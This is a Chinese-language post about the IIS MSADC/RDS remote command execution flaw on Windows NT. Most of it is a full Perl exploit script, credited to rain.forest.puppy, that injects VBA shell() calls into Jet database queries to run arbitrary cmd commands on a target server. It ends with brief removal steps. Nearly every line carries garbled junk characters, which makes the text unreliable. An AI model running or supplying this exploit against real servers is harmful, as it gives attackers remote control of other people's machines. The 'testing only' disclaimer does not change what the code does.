IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
/%AA\`:6 s1J(-O 涉及程序:
=D
Tbz3< Microsoft NT server
&%4A3.qE 2+|U!X 描述:
x{3q'2 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
hw1J <Pl* l%#z 详细:
{j%7/T{ 如果你没有时间读详细内容的话,就删除:
/\U:F c:\Program Files\Common Files\System\Msadc\msadcs.dll
Go
!{T 有关的安全问题就没有了。
`!C5"i8+i2 PoZxT-U 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
FSb4RuD9 yGC3B00Z 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
$1n\jN 关于利用ODBC远程漏洞的描述,请参看:
$*C'{&2 yc0_7Im? http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm WQv`%%G2> rSKZc`<^ 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
Muok">#3. http://www.microsoft.com/security/bulletins/MS99-025faq.asp [fg-"-+:M T^S$|d 这里不再论述。
-*;JUSGh C~"b-T 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
Jp(CBCG{F MS& 'Nj /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
Asli<L(?` 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
}^azj>p5 1SG^X-(GM/ S5e"}.]| #将下面这段保存为txt文件,然后: "perl -x 文件名"
~T9wx 4S*dNYc #!perl
"]B%V!@ #
fz<GPw
# MSADC/RDS 'usage' (aka exploit) script
@"n]v)[4 #
Svm'ds7> # by rain.forest.puppy
!JbWxGN`jn #
{YEGy # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
\Z_29L w= # beta test and find errors!
3ZhuC".c G=&nwSL use Socket; use Getopt::Std;
b5W(}ka+ getopts("e:vd:h:XR", \%args);
X{P=2h#g
} ^WmCX2a print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
j"n"=rTTQ {Z#=ppvs if (!defined $args{h} && !defined $args{R}) {
"B0I$`~wu print qq~
\I 7,1I Usage: msadc.pl -h <host> { -d <delay> -X -v }
FvDi4[F# -h <host> = host you want to scan (ip or domain)
m:c .dei5 -d <seconds> = delay between calls, default 1 second
^<Zye>KO -X = dump Index Server path table, if available
$t.M`:G -v = verbose
kNoS% ?1, -e = external dictionary file for step 5
)pG*_q 98lz2d/Fcq Or a -R will resume a command session
"f>`ZFp^ NZZc[P ~; exit;}
[I=1
F_~A8y $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
Z
|< if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
sZ#U{LI if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
Dq`$3ZeA if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
y':65NMda $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
B[fbP rM if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
)^m"fQ+ w-LaSJ(T if (!defined $args{R}){ $ret = &has_msadc;
CM;B{*En die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
) h=[7}| cnj32H^+ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
=21m|8c . "cmd /c ";
K$5mDScoJ $in=<STDIN>; chomp $in;
t"X^|!hKIF $command="cmd /c " . $in ;
[!U!
Z'i N_?15R7h if (defined $args{R}) {&load; exit;}
>`I%^+z HH|N~pBJB print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
5?8jj &try_btcustmr;
?4#wVzuzA \12y,fOJ print "\nStep 2: Trying to make our own DSN...";
v>sjS3 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
O#Ho08*Xn ?P(U/DS8 print "\nStep 3: Trying known DSNs...";
@# GS4I &known_dsn;
8Od7e` 5QZ}KNJ|t~ print "\nStep 4: Trying known .mdbs...";
x2tcr+o &known_mdb;
:\~YbA 8BX9JoDi if (defined $args{e}){
vo^2k13 print "\nStep 5: Trying dictionary of DSN names...";
K?*p|&Fi?8 &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
g:Ry.=F7W 4f'!,Q ; print "Sorry Charley...maybe next time?\n";
,Gy2$mglB exit;
c6tH'oV K/z2.Npn ##############################################################################
8JU{]Z!G<; [vOk= sub sendraw { # ripped and modded from whisker
$~NB
.SY sleep($delay); # it's a DoS on the server! At least on mine...
r;GAQH}j_ my ($pstr)=@_;
S>y}|MG socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
iO 7s zi die("Socket problems\n");
CRu {Ie5B if(connect(S,pack "SnA4x8",2,80,$target)){
(= Wu5H select(S); $|=1;
=,Z5F`d4 print $pstr; my @in=<S>;
VbX$\Cs: select(STDOUT); close(S);
EXti return @in;
Ys8D|HIk } else { die("Can't connect...\n"); }}
uLrZl0%HT~ >9t+lr1 ##############################################################################
a"phwCc"% 0](V@F"~ sub make_header { # make the HTTP request
JdX!#\O my $msadc=<<EOT
t!o=-k POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
K9) |b`E= User-Agent: ACTIVEDATA
.7> g8 Host: $ip
bZu2.?{ Content-Length: $clen
tkW7wP; Connection: Keep-Alive
=1zRm >m |l:,EA_v| ADCClientVersion:01.06
fHXz{,?/w Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
U_~r0 9b)'vr*Hy7 --!ADM!ROX!YOUR!WORLD!
fk\hrVP Content-Type: application/x-varg
jRhRw; Content-Length: $reqlen
"89L^I ESni r6HoU EOT
Vn?|\3KY ; $msadc=~s/\n/\r\n/g;
69N8COLB return $msadc;}
>Y;[+#H[ ~z7Fz"o< ##############################################################################
scZ&}Ni <%S[6*6U sub make_req { # make the RDS request
o^Qy71Uj my ($switch, $p1, $p2)=@_;
'25zb+- my $req=""; my $t1, $t2, $query, $dsn;
<=@6UPsn2 ';I(#J6 if ($switch==1){ # this is the btcustmr.mdb query
CIAKXYM $query="Select * from Customers where City=" . make_shell();
$>hH{ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
ORFi0gFbA $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
mX GW+ :b<< elsif ($switch==2){ # this is general make table query
vWjHHw $query="create table AZZ (B int, C varchar(10))";
$LOf2 kn $dsn="$p1";}
g|5cO3m0' /`g~lww2O elsif ($switch==3){ # this is general exploit table query
}UqL2KXi4 $query="select * from AZZ where C=" . make_shell();
2C#b-Y1~N $dsn="$p1";}
Su*Pd; CQ'4 ".7 elsif ($switch==4){ # attempt to hork file info from index server
wc?YzXP+ $query="select path from scope()";
0xUn#&A~ $dsn="Provider=MSIDXS;";}
I?CfdI !}=#h8fv elsif ($switch==5){ # bad query
,AG k4] $query="select";
T 2Gscey $dsn="$p1";}
pXK-,7- (} Y|^uM, $t1= make_unicode($query);
spTIhZ $t2= make_unicode($dsn);
6&,9=(:J&R $req = "\x02\x00\x03\x00";
~>rnq7j $req.= "\x08\x00" . pack ("S1", length($t1));
;ApldoMi $req.= "\x00\x00" . $t1 ;
p)s*Cw $req.= "\x08\x00" . pack ("S1", length($t2));
DS0:^TLI $req.= "\x00\x00" . $t2 ;
9a]h;r8,9z $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
O[z-K K< return $req;}
,{BF`5bn| S(G&{KG ##############################################################################
-"}nm!j /5 2cko
GafG{ sub make_shell { # this makes the shell() statement
"
l >tFa return "'|shell(\"$command\")|'";}
|] ]Rp GW0e=Y=LR ##############################################################################
K'b #}N\ QaSRD/,M sub make_unicode { # quick little function to convert to unicode
+7j7zpw my ($in)=@_; my $out;
OD).kP}s^ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
EgTj
return $out;}
y(Tb=: QQQN}!xPj ##############################################################################
7kmd.< T5>'q;jM sub rdo_success { # checks for RDO return success (this is kludge)
Je=k.pO1 my (@in) = @_; my $base=content_start(@in);
<UbLds{+Uo if($in[$base]=~/multipart\/mixed/){
h3MZLPe return 1 if( $in[$base+10]=~/^\x09\x00/ );}
1=mb2A return 0;}
W.?EjEx pW-aX)\DR ##############################################################################
~Q+J1S]Fs @%I-15Jz sub make_dsn { # this makes a DSN for us
"(vm0@8>< my @drives=("c","d","e","f");
VIuzBmR|\ print "\nMaking DSN: ";
vd0uI#g%# foreach $drive (@drives) {
.`/6[Zp print "$drive: ";
U^&y*gX1 my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
'(SqHP|8&g "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
h{?cs%lZ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
)uy2,`z $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
y@Ak_]{b return 0 if $2 eq "404"; # not found/doesn't exist
2(25IYMS8 if($2 eq "200") {
ABU~V+'2 foreach $line (@results) {
Qp~3DUM return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
B0m2SUC,H } return 0;}
&cT@MV5 (`&E^t ##############################################################################
"$ep=h+ }=s64O9j sub verify_exists {
\)2~oN my ($page)=@_;
b.QL\$a
& my @results=sendraw("GET $page HTTP/1.0\n\n");
<O4W!UVg return $results[0];}
uw{K&Hxw B=|m._OL]n ##############################################################################
0w?G&jjNtM Jv59zI sub try_btcustmr {
3EA`]&d> my @drives=("c","d","e","f");
uex([;y my @dirs=("winnt","winnt35","winnt351","win","windows");
.CEl{fofj sEcg;LFp foreach $dir (@dirs) {
pZ&?uo67_ print "$dir -> "; # fun status so you can see progress
Df=Xbf>jt9 foreach $drive (@drives) {
lnt}l print "$drive: "; # ditto
#BhcW"@ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
z;PF%F $reqlenlen=length( "$reqlen" );
T;{"lp. $clen= 206 + $reqlenlen + $reqlen;
;f9a0V s )\QPUdOvx my @results=sendraw(make_header() . make_req(1,$drive,$dir));
5k`Df/ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
tWITr else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
5.F/>?< ~iU@ns|g\ ##############################################################################
M+Eg{^ q` ?d@zTAI sub odbc_error {
\04(V'`U my (@in)=@_; my $base;
;#ElJXS my $base = content_start(@in);
I0} G,
q if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
l vfplA $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
f<*-; $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
@hOT<
Uo $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
mxmj return $in[$base+4].$in[$base+5].$in[$base+6];}
52' 0l> print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
g!!:o(k print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
>JT^[i8[ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
QI6=[
%)P)Xb ##############################################################################
N`NW*~ v6O5n(5,, sub verbose {
@8U8> 'zDE my ($in)=@_;
F 8 gw3 return if !$verbose;
yrFl,/8&G print STDOUT "\n$in\n";}
q;9OqArq &6\f;T4 ##############################################################################
?5rM'O2 @_Es|(4 sub save {
{{ +8oRzY my ($p1, $p2, $p3, $p4)=@_;
#EIcP=1m4 open(OUT, ">rds.save") || print "Problem saving parameters...\n";
\>c1Z5H> print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
TS@U0Ror close OUT;}
7 MG<!U 4[n[Ch=lu ##############################################################################
+=#@1k~ %(izKJl q sub load {
{lN G:o my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
_!^2A3c< open(IN,"<rds.save") || die("Couldn't open rds.save\n");
H<ZXe!q(nx @p=<IN>; close(IN);
RW^e#z>m"E $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
:\"g}AX $target= inet_aton($ip) || die("inet_aton problems");
5 IFc" print "Resuming to $ip ...";
K<?[^\ $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
$c7Utms if($p[1]==1) {
%Hy. $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
X oh@ (% $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
$fQ'q3 my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
w!
':Ws if (rdo_success(@results)){print "Success!\n";}
pzcof#2 else { print "failed\n"; verbose(odbc_error(@results));}}
lCJ/@) elsif ($p[1]==3){
A4f;ftB if(run_query("$p[3]")){
#s|,oIm print "Success!\n";} else { print "failed\n"; }}
lcuqzX{7 elsif ($p[1]==4){
`k~w
14~w if(run_query($drvst . "$p[3]")){
?/^{sW'
| print "Success!\n"; } else { print "failed\n"; }}
z i3gE$7 exit;}
Jp +h''t :}[D;cx ##############################################################################
9 N9Q#o$!. eNFZD1mS sub create_table {
e)A{
{wD/ my ($in)=@_;
s5u $reqlen=length( make_req(2,$in,"") ) - 28;
Jb]22] $reqlenlen=length( "$reqlen" );
*KDwl<^A $clen= 206 + $reqlenlen + $reqlen;
]vq=~x my @results=sendraw(make_header() . make_req(2,$in,""));
'2v$xOh!y return 1 if rdo_success(@results);
(V#*}eGy my $temp= odbc_error(@results); verbose($temp);
#An_RU6h return 1 if $temp=~/Table 'AZZ' already exists/;
-59;Zn/ return 0;}
; 8u5 uEDvdd#V. ##############################################################################
l8RKwECdPn [_zoJ sub known_dsn {
o`7B@] # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
W>m#Mz my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
gbN@EJ "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
\zV'YeG "banner", "banners", "ads", "ADCDemo", "ADCTest");
T#D*B]oZ} ;N!W|G foreach $dSn (@dsns) {
ki9vJ< print ".";
^1`T_+#[s next if (!is_access("DSN=$dSn"));
jn#Ok@tZ if(create_table("DSN=$dSn")){
hSU|rVi print "$dSn successful\n";
f}{Oj-:"CC if(run_query("DSN=$dSn")){
|5me }!C print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
A&=`?4> print "Something's borked. Use verbose next time\n";}}} print "\n";}
onF?;>[ Pc=:j( ##############################################################################
Y\{&chuF & 6~AY:0r sub is_access {
G-W(giF;NO my ($in)=@_;
`&>CK`%Xu $reqlen=length( make_req(5,$in,"") ) - 28;
[:cZDVaA| $reqlenlen=length( "$reqlen" );
Oy~X@A $clen= 206 + $reqlenlen + $reqlen;
8M7pc{ my @results=sendraw(make_header() . make_req(5,$in,""));
2jH&@g$cl; my $temp= odbc_error(@results);
Nt_7Z verbose($temp); return 1 if ($temp=~/Microsoft Access/);
* ;<>@* return 0;}
{iq)[)n -mqTlXM ##############################################################################
$d%NFc& gclw>((5 sub run_query {
`zMR?F` my ($in)=@_;
X1\ao[t<;c $reqlen=length( make_req(3,$in,"") ) - 28;
GM>Ms!Y $reqlenlen=length( "$reqlen" );
cK6IyJx- $clen= 206 + $reqlenlen + $reqlen;
1iIag}?p my @results=sendraw(make_header() . make_req(3,$in,""));
mY/x|)MmM return 1 if rdo_success(@results);
#GA6vJ4^s my $temp= odbc_error(@results); verbose($temp);
Ar1X
mHq return 0;}
~6Df~uN vAo|o* ##############################################################################
cKH By
6+x>g sub known_mdb {
=-8y= my @drives=("c","d","e","f","g");
)GF>]|CG my @dirs=("winnt","winnt35","winnt351","win","windows");
{^SHIL my $dir, $drive, $mdb;
YOY{f:ew my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
n<66 7
< ,: 4+hJ<q # this is sparse, because I don't know of many
C}cYG my @sysmdbs=( "\\catroot\\icatalog.mdb",
MU5#ph "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
0O7VM)[ "\\system32\\certmdb.mdb",
il>XV> "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
rklK=W z b2HHoIT my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
L+d4&x "\\cfusion\\cfapps\\forums\\forums_.mdb",
Y<9Lqc.i "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
Q^\f,E\S "\\cfusion\\cfapps\\security\\realm_.mdb",
:H`Z.>K "\\cfusion\\cfapps\\security\\data\\realm.mdb",
GXx/pBdy[4 "\\cfusion\\database\\cfexamples.mdb",
iJ 8I#
j+N "\\cfusion\\database\\cfsnippets.mdb",
vV 7L
:> "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
3M<T}> "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
7P7d[KP< "\\cfusion\\brighttiger\\database\\cleam.mdb",
%eLf6|1x "\\cfusion\\database\\smpolicy.mdb",
.T }q"
"\\cfusion\\database\cypress.mdb",
O7GJg;>? "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
Hp?uYih0 "\\website\\cgi-win\\dbsample.mdb",
8i'EO6 "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
a0[Mx 4 "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
%!QY:[ ); #these are just
;+iw?" foreach $drive (@drives) {
SoJ'y6 foreach $dir (@dirs){
=9'px3:'WR foreach $mdb (@sysmdbs) {
BSbi.@@tp print ".";
T1c.ER}17 if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
jq"iLgEMO print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
|_`wC if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
5W~-|8m print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
aO>Nev } else { print "Something's borked. Use verbose next time\n"; }}}}}
>KMTxHE`+ K18Sj,]B foreach $drive (@drives) {
jbK<"T5 foreach $mdb (@mdbs) {
o5|P5h print ".";
'*,P33h9<! if(create_table($drv . $drive . $dir . $mdb)){
-p2 =?a print "\n" . $drive . $dir . $mdb . " successful\n";
f+j-M|A if(run_query($drv . $drive . $dir . $mdb)){
(DrDWD4_ print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
3# r`e } else { print "Something's borked. Use verbose next time\n"; }}}}
R=u!RcvR }
<zE~N~; C'Z6l^{> ##############################################################################
X6lUFko Z=\wI:TY1 sub hork_idx {
)k'4]=d
< print "\nAttempting to dump Index Server tables...\n";
Wo8.tu-2 print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
GMRFZw_M $reqlen=length( make_req(4,"","") ) - 28;
!JC!GS"M5 $reqlenlen=length( "$reqlen" );
Mk$Pt $clen= 206 + $reqlenlen + $reqlen;
%K|+4ZY3 my @results=sendraw2(make_header() . make_req(4,"",""));
;H:+w\?8f$ if (rdo_success(@results)){
>Lrud{ my $max=@results; my $c; my %d;
Y<oDv`aZ0 for($c=19; $c<$max; $c++){
T~(AXwaJ $results[$c]=~s/\x00//g;
S6pvbaMZ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
^RO_B}n3 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
%V3xO% $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
*{e?%!Q $d{"$1$2"}="";}
C.}Vm};M foreach $c (keys %d){ print "$c\n"; }
}|!9aojr } else {print "Index server doesn't seem to be installed.\n"; }}
/~B\1 =
7TK& ##############################################################################
Fi!XaO ss>p sub dsn_dict {
/6Vn WrN_ open(IN, "<$args{e}") || die("Can't open external dictionary\n");
js<}>wD7< while(<IN>){
?IHa>f: $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
/WX
0}mWu next if (!is_access("DSN=$dSn"));
6}9`z8 if(create_table("DSN=$dSn")){
Ko|p&-Z; print "$dSn successful\n";
#3m7`}c if(run_query("DSN=$dSn")){
#>/stU- print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
m^rrbU+HM? print "Something's borked. Use verbose next time\n";}}}
K4>nBvZ?v print "\n"; close(IN);}
>4N=P0= o$FYCz n ##############################################################################
pJpTOq\h yC<[LH sub sendraw2 { # ripped and modded from whisker
%SSBXWP sleep($delay); # it's a DoS on the server! At least on mine...
8rwXbYx
x my ($pstr)=@_;
@+`">a8}, socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
\C(dWs die("Socket problems\n");
6EeK5XLf, if(connect(S,pack "SnA4x8",2,80,$target)){
3"XS#~l% print "Connected. Getting data";
",&c"r4c open(OUT,">raw.out"); my @in;
g=)djXW select(S); $|=1; print $pstr;
]fgYO+ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
Hg}@2n)/ close(OUT); select(STDOUT); close(S); return @in;
hd E? %A } else { die("Can't connect...\n"); }}
e}Xmb$ A>dA&'~R ##############################################################################
iig ({b 0 `L>t sub content_start { # this will take in the server headers
?6[X=GeUs my (@in)=@_; my $c;
c3NUJ~>=y for ($c=1;$c<500;$c++) {
p0S;$dH\D if($in[$c] =~/^\x0d\x0a/){
C@8WY if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
t/HUG#W{ else { return $c+1; }}}
%ymM#5A return -1;} # it should never get here actually
j%y)%4F8 yA#-}Y|]b ##############################################################################
>
l@o\ 6%&RDrn sub funky {
U;Ne"Jh my (@in)=@_; my $error=odbc_error(@in);
Q:4euhz* if($error=~/ADO could not find the specified provider/){
qr~=S print "\nServer returned an ADO miscofiguration message\nAborting.\n";
MJ+]\( exit;}
Q[M?LNE` if($error=~/A Handler is required/){
~
[4oA$[a| print "\nServer has custom handler filters (they most likely are patched)\n";
!U2Wiks exit;}
"uthFE if($error=~/specified Handler has denied Access/){
NgXV|) L print "\nServer has custom handler filters (they most likely are patched)\n";
b jq1", exit;}}
vid(^2+ kj4t![o+ ##############################################################################
EFYyr f@ 2]f"(X4jp sub has_msadc {
xep!.k x my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
%!;6h^@ my $base=content_start(@results);
x$'0}vnT return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
/>i~No#Xm return 0;}
5U3b&0 QNzx(IV@ ########################
-#ta/*TT: ;| :^zo aybfBC 解决方案:
1ukCH\YgU 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
lVmm`q6n9 2、移除web 目录: /msadc